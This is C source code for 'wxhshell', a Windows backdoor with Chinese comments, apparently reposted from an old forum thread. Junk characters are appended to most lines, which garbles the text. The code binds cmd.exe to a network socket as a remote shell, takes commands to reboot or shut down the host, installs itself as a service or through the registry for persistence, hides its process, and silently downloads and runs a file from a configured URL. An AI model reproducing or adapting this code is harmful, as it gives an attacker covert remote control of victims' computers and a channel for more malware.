    switch(cmd[0]) { |g}~7*+i  
  #X?#v7i",D  
  // 帮助 m?#J`?E  
  case '?': { 4+j:]poYG{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SF2<   
    break; cKbsf ^R[e  
  } eLc@w<yB  
  // 安装 o(_~ st<  
  case 'i': { zP$Ef7bB  
    if(Install()) ,Xt!dT-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zBd)E21H  
    else _onEXrM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]t|-  
    break; xIh,UW#  
    } T nG=X:+=  
  // 卸载 KeiPo KhZi  
  case 'r': { :VEy\ R>W  
    if(Uninstall()) ]&l%L4Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `zZGL&9m`  
    else y~AF|Dk=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'E#;`}&Ah  
    break; 3"XS#~l%  
    } ",&c"r4c  
  // 显示 wxhshell 所在路径 g =)djXW  
  case 'p': { ]fgYO+  
    char svExeFile[MAX_PATH]; Hg}@2n)/  
    strcpy(svExeFile,"\n\r"); h-`*S&mZ  
      strcat(svExeFile,ExeFile); WOaj_o  
        send(wsh,svExeFile,strlen(svExeFile),0); lp=8RbQYC  
    break; e}Xmb$  
    } A>dA&'~R  
  // 重启 iig ({b  
  case 'b': { 0`L>t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MH8Selnv  
    if(Boot(REBOOT)) L% cr `<~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB+ e2e&  
    else { OG&X7>'3I{  
    closesocket(wsh); .oR_r1\y  
    ExitThread(0); `LID*uD;_  
    } R?K[O   
    break; LG qg0 (  
    } Mkc|uiT   
  // 关机 9/nS?>11  
  case 'd': { 6q!smM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^s=p'&6  
    if(Boot(SHUTDOWN)) 4:Bpz;x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~>]/1JFz  
    else { WKwU:im  
    closesocket(wsh); JG=U@I]  
    ExitThread(0); h+rrmC  
    } (GNY::3  
    break; Ea7LPHE#  
    } (VxWa#P  
  // 获取shell 7Vd"AVn}g  
  case 's': { :)9 ^T<  
    CmdShell(wsh); 4Nx]*\\  
    closesocket(wsh); [x.Dw U%S  
    ExitThread(0); &oyj8  
    break; a.5^zq7#!  
  } h5.>};"@ '  
  // 退出 !]-ET7  
  case 'x': { X+*"FKm S.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z&@Vg`w"  
    CloseIt(wsh); uWSfr(loX  
    break; /`j~r;S  
    } WF.y"{6>  
  // 离开 {hLS,Me  
  case 'q': { 6*:mc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \?9{H6<=  
    closesocket(wsh); 6UkX?I`>  
    WSACleanup(); sP+ZE>7  
    exit(1); JN Ur?+g  
    break; k^ZcgHHgb  
        } v^;%Fz_Dr  
  } ~e)`D nJ  
  } 50S >`qi2x  
{U,q!<@mq  
  // 提示信息 u=5~^ 9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Z"I=;=nxI  
} #CaT0#v  
  } y_=},a  
6tBh`nYB=  
  return; MJ )aY2  
} u{-J?t&`  
YlY3C  
// shell模块句柄 kh'R/Dt  
int CmdShell(SOCKET sock) ua^gG3n0  
{ . >{.!a  
STARTUPINFO si; Z\`i~  
ZeroMemory(&si,sizeof(si)); m'Thm{Y,?n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9? #pqw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jo-qP4w  
PROCESS_INFORMATION ProcessInfo; c-2##Pf_8O  
char cmdline[]="cmd"; K`25G_Y3@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X R =^zp?  
  return 0; 2bB&/Uumsd  
} <~[ A  
Q0}Sju+HX  
// 自身启动模式 YMSA[hm  
int StartFromService(void) 6S~l gH:  
{ U#jbii6e  
typedef struct d`_X$P4y  
{ wjr1?c  
  DWORD ExitStatus; ]y3'6!  
  DWORD PebBaseAddress; fgg;WXcT ~  
  DWORD AffinityMask; -<'&"-  
  DWORD BasePriority; > 4zH\T!  
  ULONG UniqueProcessId; #_, l7q8U  
  ULONG InheritedFromUniqueProcessId; *W#_W]Tu  
}   PROCESS_BASIC_INFORMATION; nEZo F  
^E5[~C*o3  
PROCNTQSIP NtQueryInformationProcess; jG0o-x=X  
rdFeDZo&Z)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jtMN)TM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qo!/n`19  
c&Mci"n j0  
  HANDLE             hProcess; Iaq7<$XU  
  PROCESS_BASIC_INFORMATION pbi; k lRS:\dW  
K'`N(WiL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d`z),A=  
  if(NULL == hInst ) return 0; O=HT3gp&  
%U.aRSf/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Okb)K95  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QzwA*\G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~olta\|  
<V}^c/c!  
  if (!NtQueryInformationProcess) return 0; s4$Z.xwr  
FE)L?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (5SN=6O  
  if(!hProcess) return 0; G|Du/XYh  
*o/ Q#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0<{+M`G/  
6NO_S  
  CloseHandle(hProcess); Zz\e:/  
fR=B/`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mgB7l0)b  
if(hProcess==NULL) return 0; TZT1nj"n  
+,xl_,Z6  
HMODULE hMod; |kHPk)}I]  
char procName[255]; _$+lyea   
unsigned long cbNeeded; l%aiG+z%6}  
)$*T>.JA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 50:$km\  
-!dL <  
  CloseHandle(hProcess); a!1\,.  
7PDz ]i  
if(strstr(procName,"services")) return 1; // 以服务启动 5z8!Nmb/  
BPoY32d"_  
  return 0; // 注册表启动 F+Qp mVU  
} >g+ogwZ  
xwwy9:ze*l  
// 主模块 J~0_  
int StartWxhshell(LPSTR lpCmdLine) F8\nAX  
{ /$7_*4e  
  SOCKET wsl; nyZUf{:  
BOOL val=TRUE; [jD.l;jF  
  int port=0; 7*e7P[LQU  
  struct sockaddr_in door; A~CQ@  
/ M(A kNy  
  if(wscfg.ws_autoins) Install(); !H`! KBW  
UIUCj8QJg  
port=atoi(lpCmdLine); rUX1Iu7  
,cR=W|6cQm  
if(port<=0) port=wscfg.ws_port; 4uW}.7R'  
H0Q.; !^  
  WSADATA data; R "S,&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z|YiYQl[)  
A9_)}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Z *'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NR8YVO)5$  
  door.sin_family = AF_INET; TSQ/{=r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `TM[7'  
  door.sin_port = htons(port); HWFI6N  
w6k\po=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OPp>z0p%6X  
closesocket(wsl); VO|2  
return 1; =?U"#a  
} ;%r#p v~  
`%lgT+~T  
  if(listen(wsl,2) == INVALID_SOCKET) { \:cr2w'c  
closesocket(wsl); #>m#i1Nu  
return 1; S7cxEOfAu  
} P +U=/$o  
  Wxhshell(wsl); 26fbBt8nP  
  WSACleanup(); rBv  
0hTv0#j#  
return 0; >&K1+FSmyJ  
x)M=_u2 _  
} T{1Z(M+  
Mf0XQ3n`H  
// 以NT服务方式启动 y{~l&zrl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~/hyf]*j  
{ M@e&uz!Rx  
DWORD   status = 0; V+/Vk1  
  DWORD   specificError = 0xfffffff; ^<0u~u)%T  
%,u_ `P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PTfy#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :T5p6:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nu {bEp  
  serviceStatus.dwWin32ExitCode     = 0; *I0{1cST  
  serviceStatus.dwServiceSpecificExitCode = 0; p)d0ZAs  
  serviceStatus.dwCheckPoint       = 0; v3w5+F  
  serviceStatus.dwWaitHint       = 0;  -lM4*+f  
{'W\~GnZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *@J  
  if (hServiceStatusHandle==0) return; <(Ub(  
mmrx*sr=  
status = GetLastError(); =W1`FbR  
  if (status!=NO_ERROR) #un#~s 7Q  
{ gn&jNuGg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]| oh1q  
    serviceStatus.dwCheckPoint       = 0;  Py$*c  
    serviceStatus.dwWaitHint       = 0; 5gP#V K  
    serviceStatus.dwWin32ExitCode     = status; `nA_WS  
    serviceStatus.dwServiceSpecificExitCode = specificError; r2A(GUz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2[q*k]AtS  
    return; i 7:R4G(/#  
  } i]{M G'tg  
41y}n{4n8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k'uN2m  
  serviceStatus.dwCheckPoint       = 0; :]%z8,6k  
  serviceStatus.dwWaitHint       = 0; ,bRvj8"M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _5I" %E;S  
} } FcWzi  
gd>Op  
// 处理NT服务事件,比如:启动、停止 |r"1 &ow5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sr)rKc  
{ Ic 4>kKh  
switch(fdwControl) Zfyr& ]"  
{ X%7Y\|  
case SERVICE_CONTROL_STOP: s8T} ah!  
  serviceStatus.dwWin32ExitCode = 0; OHeVm-VC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; * iW>i^  
  serviceStatus.dwCheckPoint   = 0; zR2'xE*  
  serviceStatus.dwWaitHint     = 0; cDMA#gp  
  { 3R%'<MV|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [m7jZOEu  
  } 3 }Z [d  
  return; (KaP=t}  
case SERVICE_CONTROL_PAUSE: WAlsh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pyZ&[ *@  
  break; $a(EF 6  
case SERVICE_CONTROL_CONTINUE: o.DT`L8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JFVal#  
  break; T69'ta32V  
case SERVICE_CONTROL_INTERROGATE: I^'kt[P'FZ  
  break; 'ypJGm  
}; SS@F:5),  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4CO:*qG)o  
} (9x8,f0z  
)P\Vd #  
// 标准应用程序主函数 ,mH2S/<}S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Lq9Ompf(t  
{ cCN[c)[c|  
L_uliBn  
// 获取操作系统版本 }?xu/C  
OsIsNt=GetOsVer(); 1,fjdd8OM;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); afRUBjs  
.3k"1I '\  
  // 从命令行安装 _A%} >:q  
  if(strpbrk(lpCmdLine,"iI")) Install(); R*I{?+  
VJ P]Jy_  
  // 下载执行文件 '7}s25[{\  
if(wscfg.ws_downexe) { Hs<vCL \  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s  bV6}  
  WinExec(wscfg.ws_filenam,SW_HIDE); v/6QE;BY&Q  
} 7>`QX%  
"YD<pRVB  
if(!OsIsNt) { :%qJAjR&  
// 如果时win9x,隐藏进程并且设置为注册表启动 1lu _<?O  
HideProc(); -?n|kSHX  
StartWxhshell(lpCmdLine); %\-u&  
} Kl~jcq&z  
else O`- JKZc  
  if(StartFromService()) RS@*/.]o  
  // 以服务方式启动 U]Q2EL\%  
  StartServiceCtrlDispatcher(DispatchTable); {zhN>n_  
else i[)H!%RV*  
  // 普通方式启动 T%K"^4k  
  StartWxhshell(lpCmdLine); y8jk9Tv  
- 8&M^-  
return 0; t5 n$sF  
}
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只看该作者 1 发表于: 2006-10-10
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